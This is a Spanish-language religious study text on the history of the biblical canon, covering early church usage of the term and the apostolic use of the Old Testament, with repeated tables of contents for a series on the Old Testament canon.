Orígenes (184/185-253/254), uno de los padres de la iglesia, usó por primera vez la palabra canon para designar la colección de los libros de la Biblia reconocida como una regla de fe y práctica. Dijo que “nadie debiera usar para probar la doctrina libros no incluidos entre las Escrituras canonizadas” (Commentary on the Gospel of Matthew, sec. 28).

Atanasio (293?-373 d. C.) luego llamó “canon” a toda la colección de libros sancionados por la iglesia, y éste es el significado con el cual se introdujo la palabra en el lenguaje de la iglesia.

A partir del siglo IV, κανών [kanôn] se usó también para la compilación de escritos sagrados tanto del Antiguo Testamento como del Nuevo Testamento. Suele atribuirse a Eusebio la iniciativa en el empleo del término con referencia a la colección vinculante de las Escrituras cristianas. En 363 d. C. el sínodo de Laodicea fue el primer concilio de la iglesia que empleó el término para distinguir entre libros “canónicos” y “no canónicos”.

Sin embargo, esto no significa que el concepto no existiese en la época del Nuevo Testamento. Jesús cumplía las normas del Antiguo Testamento (las fiestas [Juan 2:23; 4:45], la observancia del sábado, los ritos del templo [Lucas 21:1], el impuesto del templo [Mateo 17:24]), con lo que denotaba el carácter vinculante de las mismas. Se refiere a mandamientos, promesas u otros relatos del Antiguo Testamento en el contexto de un “escrito está” (Mateo 4:4, 7, 10; 11:10; Marcos 7:6; etc.), lo que siempre se presenta como argumento concluyente en sus discusiones.

También la iglesia primitiva parece reflejar esta actitud relativa a la autoridad vinculante del Antiguo Testamento. Los bereanos comprueban a diario las Escrituras del Antiguo Testamento para verificar las enseñanzas de Pablo (“Y éstos eran más nobles que los que estaban en Tesalónica, pues recibieron la palabra con toda solicitud, escudriñando cada día las Escrituras para ver si estas cosas eran así” – Hechos 17:11).

Pablo utiliza la solidez del Antiguo Testamento en sus argumentos en pro del apoyo financiero del ministerio incipiente ( 1 Corintios 9:9, 10, 14 ), en lo relativo a que la venganza es prerrogativa de Dios exclusivamente (Romanos 12:19, 20) y en el caso de la naturaleza universal del pecado (Romanos 3:10 ss). Pedro defiende un estilo de vida de santidad basándose en el Antiguo Testamento (1 Pedro 2:4-6).

Tal evidencia sugiere la existencia del concepto de un conjunto normativo de textos, utilizado para definir los límites de la forma legítima de vivir, tanto en el Antiguo Testamento como en el Nuevo Testamento. Con ello, tanto el AT como el NT demuestran el concepto de escritos canónicos, es decir, dotados de autoridad. Esta autoridad no es resultado de decisiones de individuos u organizaciones, sino que descansa en la autoridad de la propia Palabra escrita (o hablada), que estaba inspirada por Dios.

Sin embargo, no todos los escritos inspirados llegaron a incluirse en el canon. Es preciso entender este proceso de canonización, una determinación de qué incluir y qué excluir. Aunque puede que no sea muy fácil dar con respuestas concretas, un repaso histórico puede proporcionar los datos necesarios, los cuales, a su vez, precisan ser explicados a la luz de la reivindicación de autoridad que hacen las Escrituras, tomando como base la doctrina de la revelación.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Introducción

Bereshit

LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

Una comprensión correcta de la historia del canon del AT (y de toda la Biblia) no sólo es de gran interés para el lector de la Palabra de Dios sino que es necesaria para refutar las falsas denuncias de los que están influidos en su pensamiento por la alta crítica.

Como a veces se ha afirmado que la colección de los libros del Antiguo Testamento fue hecha poco antes del ministerio de Jesucristo, o en el concilio judío de Jamnia, después de la destrucción de Jerusalén por los romanos en el año 70 DC, es necesario conocer los hechos para ver la falacia de tales afirmaciones.

Para “oír” a Dios se necesita un medio. La copia fiel, una y otra vez, de la Palabra de Dios, ha sido la manera de transmitir el mensaje de Dios a lo largo de la historia. Puesto que la revelación-inspiración y las Escrituras tienen que ver con datos textuales, “oír” a Dios en las Escrituras requiere que el texto y sus límites queden establecidos y, luego, que se interprete. El canon bíblico no puede ser desligado de asuntos de autoridad y normatividad, las que, a su vez, tienen que ver con la comprensión a respecto de la revelación-inspiración. ¿Qué hace que un texto de la antigüedad tenga más autoridad que otro para una comunidad religiosa?

Parece evidente que los libros del Antiguo Testamento (y del Nuevo) se autenticaban a sí mismos. Su autoridad no se deriva del hecho de que alguien, ya fuese una persona importante o una autoridad eclesiástica, los incluyese en el canon; más bien, la comunidad religiosa reconoció que en ellos hubo la conducción de un Ser sobrenatural y que tenían autoridad debido a su origen divino y, en consecuencia, fueron canonizados (incluidos en el canon).

Pablo se refiere al Antiguo Testamento como “las santas Escrituras” (Romanos 1:2), “la palabra de Dios” (3:2) y las “Sagradas Escrituras” (2 Timoteo 3:15), títulos que expresan su origen y autoridad divinos.

Jesús y los apóstoles usaron la palabra “Escritura” o “Escrituras” sólo en referencia a un conjunto de escritos bien conocido y firmemente establecido. Como cuando Jesús dijo a los dirigentes judíos: “Escudriñad (o Escudriñáis) las Escrituras” (Juan 5:39), o como cuando Pablo discutió con los judíos en Tesalónica “declarando y exponiendo por medio de las Escrituras” (Hechos 17:2, 3), las Escrituras hebreas: la ley, los profetas y los escritos.

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LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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